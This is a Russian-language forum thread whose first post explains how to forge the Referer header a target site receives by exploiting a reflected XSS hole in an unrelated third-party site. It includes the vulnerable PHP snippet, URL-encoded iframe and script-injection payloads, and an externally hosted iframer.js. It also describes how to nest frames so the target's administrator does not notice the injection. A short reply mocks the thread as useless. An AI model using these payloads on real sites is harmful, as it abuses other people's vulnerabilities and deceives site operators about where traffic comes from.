Вижу, что вопрос волнует публику... Итак, пусть есть сайт framer.com, который через iframe включает сайт whatismyreferer.com Согласно интернет обычаям, в этом случае whatismyreferer.com получает информацию о включающем сайте в заголовке Code: Referer: http://framer.com А что если мы не хотим светить сайт framer.com, а хотим вместо него подставить совершенно другой сайт X.com? Если Х.com тоже принадлежит нам, то все просто: делаем редирект через джаваскрипт или тег meta (прим: редирект через заголовок Location не сработает, он не влияет на значение Referer) X.com: Code: <script>document.location="http://whatismyreferer.com";</script> А что если Х.com - это совершенно чужой сайт? Тогда потребуется XSS уязвимость. Скажем так: x.com/search.php PHP: ... echo "Query ".$_GET['q']."<br>"; ... Теперь мы можем использовать эту дыру, чтоб вставить на x.com iframe, указывающий на whatismyreferer.com. C точки зрения браузера сайт whatismyreferer.com будет находиться внутри страницы x.com/search.php и именно она передастся в качестве реферера. Code: <iframe src="http://x.com/search.php?q=%3Ciframe%20src%3D'http%3A%2F%2Fwww.whatismyreferer.com%2F'%3E%3C%2Fiframe%3E"></iframe> К сожалению, есть одно "но". Кроме адреса страницы, в реферере передастся и наш xss-инжект. Внимательный админ whatismyreferer.com, глянув на параметр q может заподозрить неладное. Хорошо бы поэтому избавиться от лишней информации. Для этого используем тот факт, что браузер разрешает менять содержимое айфреймов, если включаемая и включающая страницы располагаются на одном домене (в данном случае x.com). Поэтому мы можем сначала создать iframe, указывающий на безобидную страницу на сайте x.com (пусть это будет /index.php) , а потом джаваскриптом подменить его содержимое на еще один iframe, который будет уже указывать на требуемый сайт whatismyreferer.com . Браузер не заметит подмены и передаст Code: Referer: http://x.com/index.php Один вариант, самый понятный - вынести создание iframe в отдельный джаваскриптовский файл и включать его через xss framer.com Code: <iframe src="http://x.com/search.php?q=%3Cscript%20src=http://framer.com/iframer.js%3E%3C/script%3E"></iframe> framer.com/iframer.js Code: function onLoadIframe() { var doc = this.contentDocument || this.contentWindow.document; var ifr2 = createIframe(doc); ifr2.src="http://www.whatismyreferer.com"; doc.body.innerHTML=''; doc.body.appendChild(ifr2); } function createIframe(doc) { var ifr = doc.createElement('iframe'); ifr.style.width="100%"; ifr.style.height="100%"; ifr.style.position="absolute"; ifr.style.top="0"; ifr.style.bottom="0"; ifr.style.left="0"; ifr.style.right="0"; ifr.style.margin="0"; ifr.style.padding="0"; ifr.style.overflow="hidden"; return ifr; } var ifr = createIframe(document); ifr.onload=onLoadIframe; ifr.src="/"; document.body.appendChild(ifr); Другой вариант: засунуть все в одну строчку, но тогда придется помучаться с тем, чтоб все правильно парсилось Code: <iframe src="http://x.com/search.php?q=%3Ciframe%20width=640%20height=480%20src%3D/%20onload%3D%28this.contentWindow.document.body.innerHTML%3Dthis.innerHTML.split%28/xframe/.source%29.join%28this.tagName%29%29%3E%3Cxframe%20src%3Dhttp://www.whatismyreferer.com/%3E%3C/xframe%3E%3C/iframe%3E"></iframe> Примечание: во многих случаях при попытке инжектить свой код в страницу срабатывает защита от XSS. Методы ее обхода - отдельная большая тема. Я привел простейший случай, когда никаких ограничений нет.
полность. бессполезная тема. Это типа такого: способ получить много денег на халяву с любого банкомата. Подходишь к банкомату, суешь кредитку и снимаешь. Есть правда одно но, на карте должны лежать деньги и нужно знать код. Как они там будут это отдельная тема, я всего лишь привел методы...... Что за бред?